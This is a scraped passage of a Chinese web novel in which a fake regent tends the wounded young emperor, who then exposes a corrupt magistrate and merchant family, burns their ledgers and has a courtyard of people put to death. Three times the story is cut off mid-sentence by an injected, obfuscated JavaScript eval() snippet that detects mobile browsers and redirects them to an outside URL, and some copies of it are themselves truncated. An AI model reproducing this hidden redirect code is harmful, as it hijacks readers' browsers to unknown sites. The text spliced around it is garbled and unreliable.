闻言,宋闻璟刚要把沈翊扶起来,便看见柳溪的脑袋钻了进来,笑嘻嘻道:“麻烦宋大人了,我先进去等你们。” “什么?”宋闻璟愣了一下,“不是给沈翊看病吗?” 宋闻璟弄来弄去,终于把沈翊背了进去,便看见柳溪已经坐在一旁的凳子上,自顾自地喝了一口水,看见两人进来,柳溪又立马走了出去,说把请郎中过来。 几乎宋闻璟还没等开口,柳溪又跑不见了踪影,宋闻璟以为自己和柳溪不熟的原因,又或者是和沈翊闹别扭了。 直到后来,柳溪拿着两套衣服走了进来,道:“你衣服太脏了,去洗洗换了吧。” “嗯……”宋闻璟看了看自己身上,衣服确实脏的不能要了,便接了过来,洗了洗身上换上了新衣服。 果不其然,柳溪也没那么嫌弃他了,还愿意和他说话了。 沈翊是在半夜渴醒的,屋子黑漆漆,安安静静的,沈翊想喝水,动了动身子便觉得又痛又酸,不禁吸了一口冷气。 缓了一会儿,沈翊才慢悠悠地从床上爬了起来,黑蒙蒙的四周,桌子上趴着一个人影,沈翊以为是杨闵,便张口叫他几声,那人没什么反应,沈翊摸起旁边的枕头砸了过去,不禁又扯了一下伤口,沈翊一疼连骂在嘴里的话都发不声来。 但抬眼再看时,那人醒了过来,但这人怎么越靠近看着越不像杨闵。 “怎么了?” 熟悉的声音骤然在耳边响起,沈翊愣了愣,又道:“杨闵呢?” 宋闻璟不解:“杨闵是谁?” “他……”沈翊想了想,又道:“这是哪?” 宋闻璟道:“我们回镇子了,柳大人来了。” 沈翊问:“柳溪?” 宋闻璟点点头,“对。” “他怎么不来见我?”沈翊道。 宋闻璟道:“柳大人睡了。” “睡了?”沈翊道,“那去把他叫醒。” “嗯?”宋闻璟道,“不太好吧,已经很晚了,柳大人也不在这了。” 沈翊看了他一眼,又道:“那你怎么在这?” 宋闻璟道:“那郎中说,晚上可能会发高烧,我在这守着你。” “你刚刚明明在睡觉。” “我……太困了,就睡了一小会儿。”宋闻璟又道,“你叫我是有什么事吗?” 沈翊愤愤道:“我要喝水。” “好。” 宋闻璟点头应下,把桌子上的蜡烛点燃,倒了杯温水,回去的路上又把沈翊丢下来的枕头捡了回去。 沈翊喝了水,又躺了下去,看着宋闻璟变得这么听话,心里越发觉得不适应,总感觉哪里怪怪的。 “你还想做什么?” 沈翊看着他,道:“我身体好着呢,不用守着我。” “好。”宋闻璟沉默了一会儿,随后点了点头,想着自己先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711415|133861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去溜一圈,等沈翊睡着的时候自己再偷偷回来,毕竟自己身上又没钱,总不能露宿街头吧。 “等等。”沈翊突然叫住他,像想起什么,“这次是你欠我的,还有加上前几次的,你该不该给我一个好处。” “什么?”宋闻璟不解,“什么好处?” 沈翊道:“你先回答我同不同意。” 宋闻璟道:“陛下想要什么?如果我有我一定给你。” “好啊。”沈翊笑了一声,“皇叔做人原来还是有良心的。” “那我想要你在京城中的全部势力,你舍得给吗?” 宋闻璟低下头默了默,脑中却一片空白,难不成我还有别的势力,可我只是假的啊,裴夏也没有告诉我别的。 “怎么了?” 沈翊问他,“你心疼了?” “我……我不知道……”宋闻璟有些心虚,堪堪道:“这全部势力……” “就是舍不得,那皇叔刚刚说的比唱的还好听。”沈翊道,“看来都是骗人的,那这样以后皇叔那好自为之吧,就当我没问过。” “我舍得。”宋闻璟立马道,“我没说不给你。” “那是答应了?”沈翊挑了下眉,“不反悔?” “嗯……”宋闻璟不自觉的移开了眼。 “好啊。”沈翊冲着宋闻璟笑了笑,“我就知道皇叔对我最好了。” 宋闻璟也装作笑了笑,等出了门,宋闻璟却觉得心依旧跳个不停,从刚来到现在,宋闻璟自己都没认真了解过自己到底有多少势力,除了自己手上的兵权,朝中势力,还有什么势力? 会不会是小皇帝想的太多了,可自己都说出去了,应该问题不会很大的吧。 宋闻璟围着院子转了一圈,纠结了半天,要不然就去坦白吧,可万一让小皇帝知道自己现在一点势力都没有一生气要杀了他怎么办? 宋闻璟叹了口气估摸着沈翊已经睡了,随后又走了回去推开了门,屋子里安安静静的,桌子上的蜡烛还在燃着,宋闻璟刚想把吹灭,便听见床上的沈翊动了动,想起郎中的话,宋闻璟又不放心地走了过去,伸手摸了摸沈翊的额头,确认没有烧起来,这才放下心来。 “你怎么回来了?” 沈翊缩了一下脑袋,迷迷糊糊地睁开了眼,看着宋闻璟被冻红的脸问道。 “我……”宋闻璟默了默,“我不太放心,所以又回来看看,你快睡吧。” 沈翊问:“外面很冷吗?” “不是很冷。”宋闻璟问,“怎么了?” “你出去了?”沈翊道,“你的手很凉。” 宋闻璟摸了摸自己的手,随后藏在衣袖里,顿时,也不知道该说些什么。 沈翊问:“不睡觉,出去做什么?” 宋闻璟顿了顿,“睡不着,出去逛了逛。” 沈翊笑道:“也对,要是睡着了就不正常了。” “很晚了,别出去了,一会儿那个山匪再来抓你,可没人救你。” 宋闻璟愣了愣,随后又“嗯”了一声。 过了一会儿,沈翊看着床边的人站了半天还没动作,又道:“在这干什么?” “我……我能不能在你这待会。”宋闻璟道,“我没地方去。” 沈翊问他:“柳溪有住的,你怎么没有?” “柳大人他去住客栈了。”宋闻璟道。 沈翊怔了怔,道:“那你就在这呆着。” 静了两秒钟,沈翊又道:“你上来睡吧,我可不是小气的人,毕竟,皇叔对我好,我也得对皇叔好。” 宋闻璟默不作声,随后又小说道:“那不用了,我在下面就行。” “什么意思?”沈翊问他,“你不满意还是因为别的?” “没有别的。”宋闻璟心虚的不行,“那我先去把蜡烛灭了。” 片刻后,空气里安静的有些诡异,宋闻璟蜷缩在一旁好似要把自己的存在感抹掉,一张不大的小床在除去两人的位置后,又硬生生留出了第三个人的位置。 沈翊看着宋闻璟的背影,好像也看出了什么,问:“皇叔,你现在是不是更讨厌我了?” 53.第 53 章 “嗯?” 宋闻璟有点不明所以,但又一想确实是这样,要不然以前的宋闻璟怎么会这般对他。 “不讨厌。”他说。是怕。 “怎么可能,皇叔一辈子的心血都给我了,说不讨厌是假的。”沈翊道,“可我总怕皇叔又在骗人,等到了京城,又怕皇叔会反将我一军,要是我能直接看透皇叔的心思就好了。” 宋闻璟道:“不会的。” “那最好不会。”沈翊攥起一缕宋闻璟的黑发漫不经心地缠在手指上,空气中还能隐隐约约闻到淡淡的香味,“现在没人能救的了你,所以你最好跟我说真话。” 宋闻璟不作声,可也明白这像是沈翊在给他下最后的通碟。 空气安静了两秒钟,沈翊突然没头没脑问了一句:“你身上什么时候换香了?而且这香怎么还这么熟悉?” “嗯?衣服吗?”宋闻璟想了下道,“今天柳大人嫌我这衣服太脏了,所以就给我买了一套,而且衣服还被熏的很香,比以前香凌给我熏的还要香呢。” 沈翊愣了下,手里的那缕黑发也从指缝中落下,“你不是最喜欢以前的熏香?” “没有啊。”宋闻璟道,“为什么都怎么问?” 宋闻璟顿了顿,好像又想起什么,便道:“柳大人好像带过来一套,我把那套留给你了,你明天可以穿穿试试。” “怪不得有点熟悉,原来是那只花孔雀的。”沈翊小声呢喃道。 “怎么了?”宋闻璟翻了个身,说着就要起身,问道:“你现在要看看吗?” “不看。”沈翊闭上眼,慢悠悠道:“我现在要睡觉,一件衣服而已,我现在闭着眼都知道这件衣服长什么样。” “好吧。”宋闻璟又躺了下去,淡淡道:“其实也挺漂亮的。” 沈翊不回答,没过多久,空气中便传来平稳的呼吸声,宋闻璟闭了闭眼,却一直没有睡着。直到临近天亮,旁边的沈翊毫无征兆的烧了起来,宋闻璟算是测底清醒了,几乎忙了起个大早,等沈翊开始退烧了,宋闻璟这才放下心来。 小眯了一会儿,柳溪回来了,貌似外面又下起了雪,还在外面逛了很久,身上还带了一小堆一小堆的雪。 宋闻璟问:“外面下雪了?怎么不打把伞?” “啊?”柳溪笑了笑,拍了拍衣服上的雪,道:“哈哈没有下雪,我......我刚刚出门不小心摔了一跤。” “没事吧?”宋闻璟问。 “没事没事。”柳溪问,“陛下还没醒吗?” 宋闻璟道;“还没,刚刚发了烧,现在还没退下去呢。” “行吧。”柳溪点点头,随后又叹了口气道:“宋大人,你有没有感觉有点怪怪的?” “什么怪怪的?”宋闻璟道,“怎么了?” 柳溪道:“从进了这个镇子就怪,我昨天晚上走夜路就感觉有人在盯着我,但又找不到人。” “啊?不会吧。”宋闻璟道,“柳大人别自己吓自己了。” 柳溪又道:“怎么不会啊,而且这镇子上不是还刚死了人,真是……不会有坏东西盯上我了吧。” “这也不行啊,我就知道,我这么招人喜欢,现在连鬼都盯上我了,不行,我得买点东西辟辟邪。” “这……” 说罢,柳溪又要去推门,半路好像又想起了什么,摸了摸自己的口袋,拿出了一袋栗子糕,道:“这个给你吃,记得留两块给陛下,陛下喜欢吃。” “嗯……”宋闻璟刚刚接过手里,柳溪便推开了门,走了出去。 “这有这种怪事?”宋闻璟不禁疑惑道。 在吃了两块栗子糕后,门突然被敲响,宋闻璟以为柳溪买完了东西回来,刚要去开门,敲门声又响了起来,宋闻璟下意识道:“门没有锁。” 敲门声突然停了一下,门外的人却没有推开门进来,宋闻璟刚往前走了几步,看着门外的人影,总觉得怪怪的,如果是柳溪不早就应该推开了吗? 宋闻璟想着,脚下的步子突然停住了,他问:“你是谁?怎么不进来了?” 门外的人没有出声,回想起柳溪说的,宋闻璟不禁吸了一口冷气,这是大白天应该也不会出现这种情况吧。 想了想,宋闻璟还是去开了门,门外的人蒙着面,还没等宋闻璟开口问他,就被那人打晕了过去。 那人进了房间,直奔还躺在床上的沈翊,仔仔细细看了一遍,在确定沈翊无恙后,那人又给沈翊掖了掖被子,便准备离开。 柳溪买了一堆东西回来时,挂在脖子上的珠子,手里还攥着符纸,怀里还抱着一堆东西,满满当当地回来了。 不过在刚进门后,看着被人偷了的家,柳溪又将东西全都扔在了地下,势必要将这个还站在床边的小贼抓住。 那人看到柳溪也没有想过多纠缠,本想跳窗逃出去,却不想被柳溪拦着不放手。 柳溪一边拉着他打,一边又想伸手扯他的面罩,那人也跟着一边躲一边准备往逃。 僵持了没多久,宋闻璟醒了,从地上爬起来,便看着眼前模糊不清的两个人影纠缠在一起,宋闻璟闭了闭眼,等视线清晰了不少后,才反应过来,自己好像被人打晕了,但这人为什么要这么做?不会又是哪里冒出来的仇家吧。 原本刚刚还打的有来有往的两人,柳溪看到宋闻璟醒了,手上不着急地收了几分力道,看好时机后,又装打不过的样子,往后踉跄了几步,直接坐在了床边上。 “你……” 那人怔了怔,刚想趁此机会逃出去,便听到床上的人突然开口道:“你们打完了?” 柳溪闻声看过去,沈翊一双眼睛恹恹地看着他,随后又闭上。 “你醒着还不来帮我。”柳溪隔着被子,握着沈翊的肩膀晃了晃,“真是太没有良心了,我要是受伤了怎么办?” 沈翊晕的厉害,没有力气跟他辩驳,等柳溪停了,又道:“你还能打不过他?” “这人这么凶,我那能的打过。”柳溪摇摇头,“这人不过也太狂了,居然现在还没走。” 柳溪扭头瞧了他一眼,那人却往前走了几步。 “我没想跟你打。” “你?”柳溪问沈翊道,“这人是不是认识你?” “嗯?”沈翊看着眼前的江二,想了想道:“这人是我在镇子里认识的一个村民,江二。” “真是村民啊?”柳溪打量了他一下,“这村民是不是太凶了一点?” 沈翊道:“嗯。要不然为什么我要认识他。” “确实。”柳溪道,“也是有些过人之处。” 沈翊默了默,随后突然开口问柳溪,“来了多少人?” 柳溪道:“一百来人,现在还没到呢,大概下午就能到,他们太慢,我就自己先到了。” 沈翊点了点头,道:“那等来了再告诉我。” “那现在呢?”柳溪问道。 沈翊往上扯了扯被子,将脸盖了个半张,声音闷闷道:“我再睡会儿,你们安静点,要不然就出去打够了再回来。” 话音刚落,沈翊闭上眼便开始犯迷糊,房间里恢复了片刻安静,柳溪去捡回自己散落一地的法器,又慢悠悠地挂回在身上。 宋闻璟问:“这些都是什么?” “啊?这些都是那道士说辟邪除灾的,很管用。”柳溪说着,又挑了一个里面比较小的荷包递到宋闻璟面前道:“你要不要也来一张,这符纸也可厉害,夜里总归不安全,拿着还能涂个安心。” “真的假的?”宋闻璟接过荷包捏了一下,里面符纸有一小搭,“这个应该很贵吧?” “贵啊。”柳溪道,“这里面就他最贵了,一张符就要五十文。” “啊?这……太贵了。”宋闻璟又还递到他面前,“还是给你吧。” “没事,我这法器多的是。”柳溪默了默身上的桃木剑,又顺手在空气里砍了几下,“我看今晚谁敢来。” “柳大人,你……” “你别怕宋大人,今晚我保护你们。”柳溪将桃木剑抱在怀里,十分神气的拍了拍宋闻璟的肩膀。 宋闻璟笑了笑,“那好吧。” “歪,还有你这个村民,虽然你挺没礼貌的,但今晚我也会保护你的。”柳溪转过身,走到江二身边,绕了一圈,慢悠悠道。 江二默了默,“我不需要。” “你会需要的。”柳溪道,“等晚上你可别害怕。” “为什么要害怕?”江二道,“不做亏心事,不怕鬼敲门。” “你这个村民什么意思?”柳溪顿了顿,又气愤道:“你说我不是好人,你知道我是谁吗?” 江二低了点头,“小人不敢。” 柳溪扭过头:“算了,我不跟你计较。” 江二点了点头,默不作声,三人待到了一会儿,柳溪按耐不住寂寞,出去溜了一圈直到中午才回来。 不过一会儿,外面又飘起小雪,柳溪又往嘴里塞了块栗子糕,有些庆幸道:“幸好早回来了。” “这雪下的是不是太频繁了?”宋闻璟问。 柳溪道:“冬天都是这样,下点雪太正常了,有次冬天下雪,都还差点把京城埋了呢。” “嗯?这么大吗?” “对啊,感觉这几年还少了不少。”柳溪怔了怔,“不对,你不知道吗?那时候宋大人应该在京城吧。” “我……我可能忘了。”宋闻璟突然怔了一下,“记性不太好了。” 柳溪又往嘴里塞了一块栗子糕,道:“也是,宋大人一天都很忙,那还记住这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋闻璟又问:“那陛下都知道,为什么还要让柳溪做您的老师?他能教给你什么?” “他?”沈翊笑了笑,“因为我想啊,当时不是皇叔先同意的吗?” 宋闻璟道:“我……我是后来才知道的。” “歪,你们嘀嘀咕咕地背着我干什么呢!” 柳溪走过来,瞧了又瞧,道:“为什么又不说了,是不是偷偷在背后说我。” “说你什么?”沈翊道,“没什么好说的?” “真的?可我总感觉你是不是在骂我?”柳溪扯了扯袖子,一脸不信服的样子盯着沈翊看。 “算了,我才不屑听你们嘀嘀咕咕说的这些见不得人的事。” 柳溪摆了摆手,又一屁股坐回凳子上,看着外面的天,慢慢道:“看来又得迟一会儿了。” “迟一会儿,便迟一会儿吧,也不差这一会儿。”沈翊走过来道。 没过多久,沈翊便觉得伤口又开始有些隐隐发疼,门被推开,冷风灌进来,便看着江二带着一个小姑娘和高颉走了进来。 “大人,你没事吧。” 高颉身上挂着雪花,看着宋闻璟直接奔了过去抱了几秒钟又分开,“我都好几天没见你,可吓死我了。” “我没什么事。”宋闻璟笑了笑,“陛下救了我。” 高颉凑近了些,小声道:“这个我知道的,大人,你知道吗?其实陛下本来还不想……” “高大人,我受伤了,你怎么不来关心关心我?”沈翊抬眼看他,突然打断道,“你还有没有良心?” 高颉堪堪道:“啊?对不起陛下,我一激动就忘了。” “陛下没事吧,伤那了?严不严重?哎呦,都怪我。”高颉立马凑过去,围着沈翊看了一圈,看着沈翊略微满意地点了点头从走开,随后又跟旁边的柳溪客套地问了个好,便又站回到宋闻璟旁边。 江二看了眼旁边的姑娘,便道:“姑娘,有什么事,你再说一遍,陛下定会给你做主。” “是,是。” 沈翊抬眼看着她,便问:“你知道什么?” 话音刚落,眼前的小姑娘便突然跪了下了,声泪俱下道:“你可要为我家小姐做主啊,我知道我家小姐不是被您杀的,但他们是故意要嫁祸给您,想掩人耳目的。” “我家小姐本是有婚约在身,本应过几天就完婚的,但这婚约对象确实不是什么好人,家里还有位正妻,我家小姐本是不愿意,但也靠不住老爷为了一己私利逼婚,却不想在前几日,那赵公子就找上了门偷偷闯进了我们小姐闺房,而他旁边的几个随从也是得了赵公子的光,都敢对我家小姐不敬。” 54.第 54 章 说罢,那小姑娘从怀里掏出一封信,那信封上沾了几抹血,还有折皱撕扯的痕迹,但信却依旧是完整的。 小姑娘道:“奴婢名叫时灵,本是小姐身边的贴身丫鬟,这封信是在小姐桌子上发现的,奴婢确定这信也是小姐亲笔,这里面都是证据,陛下一看便知。” “我家小姐都是被他们逼死的,我家老爷到现在还被蒙在鼓里,那些贾商根本就不是人。” 沉静片刻,江二将信拿到众人面前,信里的内容和时灵说的也基本一致,元小姐是自杀的,那次江二闻到浓重的香味把血腥味遮住了,却也是因为元小姐燃烬了她生前最爱的熏香,想找到最后的一抹慰籍。 “我说呢,我能在这过的这么苦,这跟姓赵肯定也有一脚!一眼的坏东西。”高颉愤愤道。 “这赵公子是……何人?” 沈翊突然道:“这人住在哪?” 时灵道:“赵氏一家算是我们这最大的贾商,就在镇子的东南边,最大最精修的府邸便是赵公子的家。” 话音落下片刻,沈翊便招来身边的江二,两人低声不知道说了些什么,只见江二微点下头,便出了门。 半个时辰后,镇门口被人围堵起来。 而镇外领首的男人,身着护甲,骑着烈马,看见从镇里慢悠悠走出来的杨闵,便掏出身上的腰牌,道:“我乃羽林令曹满,特奉陛下之命入城接驾,在此谁敢阻拦?” “嗯?”杨闵掩着面纱勾了勾唇,小声道:“还搬来了救兵?” 片刻,又道:“这门拦的就是羽林军,我看今天谁能过去?” “我看是谁这么大的威风?” 雪轻轻地落着,空中突然传来一阵高喊,话音刚落,便看见沈翊一行人从人群里走了出来,杨闵哼了声,道:“居然没死还又回来了。” 沈翊笑道:“托了某位人的福,没死成。” “喂。”柳溪抬起胳膊戳了戳沈翊,小声道:“什么叫某位人,我就这么难说出口,夸一下也不夸了?” 沈翊默默回道:“你自己心里知道就好了。” 柳溪默了默,扭过头不知道小声嘀咕了句什么,便又不说话了。 “陛下。”见到沈翊出来,曹满便立刻下了马走到沈翊跟前行礼道:“臣参见陛下。” 沈翊俯下身,伸手虚扶了一把曹满,道:“不必多礼。” “你想做什么?”杨闵看着他,默了默道:“我可以不拦你。” “拦?”沈翊笑了笑,底气十足道:“你敢吗?这话不应该是我对你说,这里可是天喜,你踩的每一块地方都是我的,就连你这个人在天喜,都要喊我一声陛下,我倒要看今天谁敢拦我。” 话音落,沈翊突然提高声调道:“进镇,有阻拦者皆杀!” “是!” 声音浩荡响亮,镇外的士兵纷纷起身,往镇子里冲进去,原本在门口看戏的人群也都散了个干净,忙不迭地往家跑,一瞬间,街道变得空荡荡的,只有这雪不停的落下。 “杨闵。”沈翊突然叫了他一声,“你想走吗?” 杨闵站在原地看着他,静了两秒钟,突然转过身走了,连带后面的山匪也跟着走了个干净。 沈翊笑了声,低声呢喃句:“倒也不笨。” 羽林卫训练有素,个个势如破竹,虽只调了一百多个人,但这气势却比镇子里满地跑的府兵强了不止一倍。 沈翊让曹满调走了半百的士兵去守镇口,自己则带着几个人去找了元兴安。 这次,元兴安见状也不敢拿出那副趾高气昂的样子,只好夹着尾巴跪在一旁,大气不敢出。 “元县令,过来说话。”沈翊坐在主位上挥了挥手,淡淡道:“跪着做什么,还下雪呢,这地上得多冷。” 闻言,元兴安不自觉把头埋的更低了,“臣不敢。” “这有什么不敢的?我不是刚还看你很是威风吗?”沈翊道:“我这里有件东西,怕你一会儿死不明白,本想给你看的,但你不过来,难不成还要我给你送过去吗?” “这……不敢不敢。”元兴安低着头俯着身子,跪在地上一点一点移了过去。半晌,沈翊从身上摸出那封信,扔在了元兴安跟前。 元兴安颤颤巍巍地捡起那封信,刚要打开,便又听到沈翊道:“去远点的地方看。” 元兴安愣了下,又急忙忙退了回去。 没过多久,元兴安看着那封信脸色逐渐红温了起来,他本以为赵介是个谦谦公子,不仅有文学,家里还富有,或许是自己女儿的好归宿,等自己死后护不了她,还会有人能护着她。 但怎么没想到是这个赵介人前一副样子,人后根本不是个东西。 元兴安怒上心头,刚张了张口,便听见一阵阵婴儿的啼哭声,闻声看过去只见江二抱回了个还在襁褓里的婴儿。 片刻,身后还有一群人追了上来,为首的那名女子哭的梨花带雨,穿红着绿,头上珠光宝气,一副奢侈华贵的模样,一看就是富贵人家。 “陛下?这位是陛下吧?”女人急匆匆凑上前,跪在地上一边哭一边磕着头,道:“求陛下放过我儿,别动他。” 沈翊默了默,刚要问江二为什么带个孩子回来,便听见江二低声道:“赵介跑了,这孩子或许可以一用。” “跑了?”沈翊道:“什么时候?” 江二道:“大概在羽林卫进镇子后,我看了院子里便没有了赵介的身影。” “那会去哪呢?”沈翊喃喃道:“镇口都是有人把控,应该也出不去。” 自顾自地想着,却没想到底下的人却先掐起架来。元兴安将信怒气冲冲地摔在那女人脸上,愤愤道:“你这女人可真是恶毒,你凭什么欺负我女儿。” “呸。”梅又晴也不是个好惹的,一听到这件事,便立马将信随手扔了出去,“就你还想让她进我们家门,根本不可能,你自己心里没数吗?一副穷酸样,还要来勾引赵介攀高枝?” “你说什么?”元兴安闻言,像是再也把控不住自己,眼看就要一巴掌呼了上去,便被围着梅又晴旁边的下人们拦了下去。 元兴安愤愤道:“你们赵家要不是有了我帮扶,能有今日这般作为?你们早就跟那些人般饿死了。” “对啊!”梅又晴道,“我们赵家不能说没靠过你,但你这人收了我们多少的好处?每年的收益也不都让你收大半?那你就说你这般对得住我们?” “现在还妄想塞进个赔钱货来,你想都不要想!” “现在她死了,好啊!这就是天大的好事!” “你这人太狠了。”元兴安抡起胳膊,眼看那一巴掌就要落在梅又晴脸上,只见站在两边的两个士兵突然抽出腰边的长剑分别抵在两人的肩膀上,震慑道:“都老实点。” 话音落,跪在地上两人才停下争执,纷纷弯着腰不动了。 沈翊坐在高位顿了顿,又慢悠悠道:“看来二位之间都有点矛盾没解决,要不然先解决一下再说?” “……” “不不不。”梅又晴赶忙道,“陛下,不是的,我儿子什么时候能还给我?他现在还太小。” 闻言,沈翊抬眸看了一眼江二怀里安静下来的婴孩,沉静片刻,沈翊突然接了过来,襁褓里的孩子眼睛有大又亮,小嘴粉嘟嘟的,时不时还会流口水,沈翊看着他笑了笑,随后抬手捏了捏他脸上肉乎乎的婴儿肥,漫不经心问道:“多大了?” “回陛下,已经五个月了。”梅又晴俯下身,无比恳切道:“请陛下放过我儿子,他是无辜的。” 沈翊不说话,手上轻轻摸搓着孩子身上的衣服,布料又软又滑,一看便是上等的料子。沉默过后,梅又晴又往地上磕了几下头,还未等开口,便听见上面突然开口道:“我听说这赵介跑了?” 梅又晴愣了愣,随后便一直俯在地上不应答。 沈翊沉默过后,又道:“他跑不出去,我说他还在这镇子里,是吗?” 梅又晴默了默,不自觉地抿了下唇。片刻后,孩子的哭声再次响起,梅又晴蓦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那人摇了摇头,又道:“奴婢确实不知。” “那谁知道?”沈翊站起身,看着盖着一层薄雪的人们,“等我走出这个院子,你们可就晚了。” 说罢,沈翊抬步向外走去。 “……” “等等。” 刚走三步,一个小丫鬟急匆匆追了上来,沈翊回头看去,是刚刚梅又晴身旁的一个丫鬟。 “陛下,奴婢知道他在哪,但……” 小丫鬟跪在地上,突然不说话了。 “怎么了?”沈翊疑惑。 小丫鬟道:“奴婢斗胆问一下,陛下想怎么处置他。” 沈翊默了默,却反问道:“什么意思?你想怎么让我处置他?” “奴婢不敢。”小丫鬟立马道,“陛下,请跟我来吧。” 说罢,小丫鬟站起身在前面带路。不过一会儿,赵介就被从地道里绑了出来,还有身边的下人也一并带了出来。 赵介穿的一身锦缎华服,一副书生气。原本从前读过几年书,但因为屡次落榜,随后再也没摸过,便转而继承了这家业,而读的这几年的书,也让赵介有副有真本事的样子。 沈翊看了他一眼,可谁知这赵介似乎根本不为所动,甚至还在沈翊面前,装起的很有骨气,看见沈翊旁边的那个丫鬟,竟还开口骂了两句。 “你现在可以说想让我怎么处置?”沈翊突然开口问。 小丫鬟道:“希望陛下能从重处理,并归还我们卖身契。” “嗯?” “我们想离开赵府。”小丫鬟立马跪下恳求道,“老爷说,他被找到也不过是被关几年,可他身上还有我们卖身契,谁要是透漏消息或者有别的心思便一定不会放过他,我们走不了却也不想困在这里这么久,我们也是被逼无奈,希望陛下能恢复我们自由身。” 话音落,沈翊道:“那你就不怕?” 小丫鬟却把身子俯的更低了,坚定道:“奴婢相信陛下至圣至明,自会给我们做主的。” “嗯?” 沈翊闻言不禁笑了一声,随后却道:“我可以帮你,不过只帮你一个人。” 小丫鬟愣了愣,便又听到沈翊道:“现在你就可以走,但别为他们求情,要不然我也不会再网开一面。” “嗯……”小丫鬟怔了怔,随后点头道:“谢陛下圣恩。” 55.第 55 章 元府内,人密密麻麻地聚起了一个庭院,人挤人的地方却没有听见半点动静。 而站在台阶上的沈翊身旁,有一摞由厚薄不均的账本堆成的一座小山。 这算是历年来地方收取各种税的记录,不论是百姓的赋税,还是朝廷拨下的钱款,钱款去处和收取,都应在账本上有相应的记录,可到现在看来,这些本应记账的账本却变得一无是处。 沈翊随手拿起一本来,里面记得倒是完整,可却都与事实不符,原本有记录要修的一条小路,镇子上没看见,纸上倒是写出了花了银子,完成时间,负责人,做样子做的漂漂亮亮。 沈翊往后继续翻看了两页,随后又扔了回去,“好啊,元县令真是辛苦了。” 元兴安弯着腰不敢说话,直到沈翊走到他跟前,元兴安才彻底俯下身子,求饶道:“陛下,下官只是一时糊涂。” 顿了顿,元兴安突然又道:“这都怪赵介,都是他逼我干的,下官也不想的。” “胡说八道!”赵介猛然开口道,“明明是你自己想的,你想让我替你顶罪?做梦!” “陛下,我赵某绝对没有做过,调戏元小姐的事我可以认,但私吞赃款的事我绝对没有!” 闻言,沈翊把目光转向赵介,“嗯?说说看?” 赵介顿了顿,下意识咽了一口唾沫,道:“前些日子,草民在凝香馆里喝醉了酒,脑子不清醒,恰巧在街上遇见了元小姐,便借着送元小姐回家的动作,才做错了事。” “但这赃款赵某从没见过。” “是吗?”沈翊笑了笑,“你这庄子这么大,确定吗?” “赵公子怕是赃的也不少,是吗?” 赵介摇头一口笃定道:“绝不可能!我赵氏百年家业,要是如此还怎在此立足?若是陛下不信,自可细查。” “好啊。”沈翊道,“既然赵公子这么有信心,不妨一看。” 不过一会儿,几个下人抬过来几箱账本来,沈翊翻了几本,突然笑了一声,还没等拿起下一本,底下的梅又晴衣袖下的指尖都被攥的褪去了血色,她低着头,默默潸然。在看着沈翊再次抽取账本时,复杂的内心似再也撑不住压力,她开口突然道:“陛下,不用再查了,是草民做的。” “你说什么?”赵介简直不敢相信,随后扭头怒气看着梅又晴的眼睛,道:“你这个贱人,谁要你这么做的!你这是要毁了我!” “够了!”梅又晴好似也没什么怕的,一副了无惧怕道:“你什么资格来指责我!若不是这些年我帮你撑着,这家业早就给你败坏了,你天天留恋青楼,什么时候关照过府内之事!” “赵介,你就是无能。” “你敢!”赵介猛地攥起梅又晴的衣领,语气又凶又恨道,“你就是个祸害,若不是遵从父亲遗志,当年我绝不会娶你,你就是个灾星,你坏了我赵家百年家业,我不会放过你的,还要那个不知道你和谁孽种,你们一样恶心。” “你胡说什么!” 梅又晴往后挣脱,随后奋力抬起手给了赵介一个巴掌,愤愤道:“赵介你才是祸害,我若是不这样做,赵家还能到现在?就连我带的嫁妆都赔了进去,你成天除了玩乐还会做什么?还有,这个你说的孽种,我说他就是赵家嫡子,谁还敢出来反对,你现在想要娶那个贱人,好以后扶持她做主位,我告诉你,绝不可能!” “这些年你真是长本事了!”赵介转过身,猛地推到梅又晴,紧握着拳头抡在半空中,却迟迟没有落下去。 最后,旁边的士兵将两人强制分开,沈翊对于这家庭纠纷也没有太大的兴趣,便淡淡道:“看来矛盾还不小,但我可没功夫听这些。” 话罢,沈翊从江二身上摸出一个火折子来,平静道:“这些账本,看与不看,想必各位心里是最明白的,而我也不想一本本的看你们这些假账本又或者是缺斤少两的账本,从现在开始,我将这些全部归于开始。” 话音落,沈翊燃起其中第一本账本,随之扔在那一小堆的小山里,小火焰开始不断侵蚀账本,不断长大,直到火焰开始包裹整座小山,空中升起滚滚浓烟,沈翊朝江二点了下头。片刻,鬼哭狼嚎的叫喊声和利剑出鞘的摩擦声在四周回荡,沈翊抬起头看着浓烟被寒风吹散又升起,雪还在下,落入烟中,与烟相伴。 不过片刻,血色浸染庭院,地上横七竖八的尸体看着人毛骨悚然,沈翊却叹了口气,火焰还在烧。蓦地,耳边突然传来一阵婴儿啼哭,众人闻声看过去,屋子里椅子上还躺着个被遗忘在襁褓里的孩子。 江二刚想开口,便看着沈翊不知想到了什么,突然靠近自己低声说了一句:“把镇子上所有的商户都请过来吧。” 江二点了点头。片刻,镇子上的人一群一群的赶来了,可看见了院中情况都忍不住慌了神,他们抬头看着高处的模样俊朗的少年,都不由得一紧。随之,每个人都小心翼翼地走了进来,找着个比较干净的地方,跪在地上颤抖地行礼。 沈翊也并没有说什么,原本做的就是一个杀鸡儆猴,总得要震慑住,要不然以后,还会再犯。 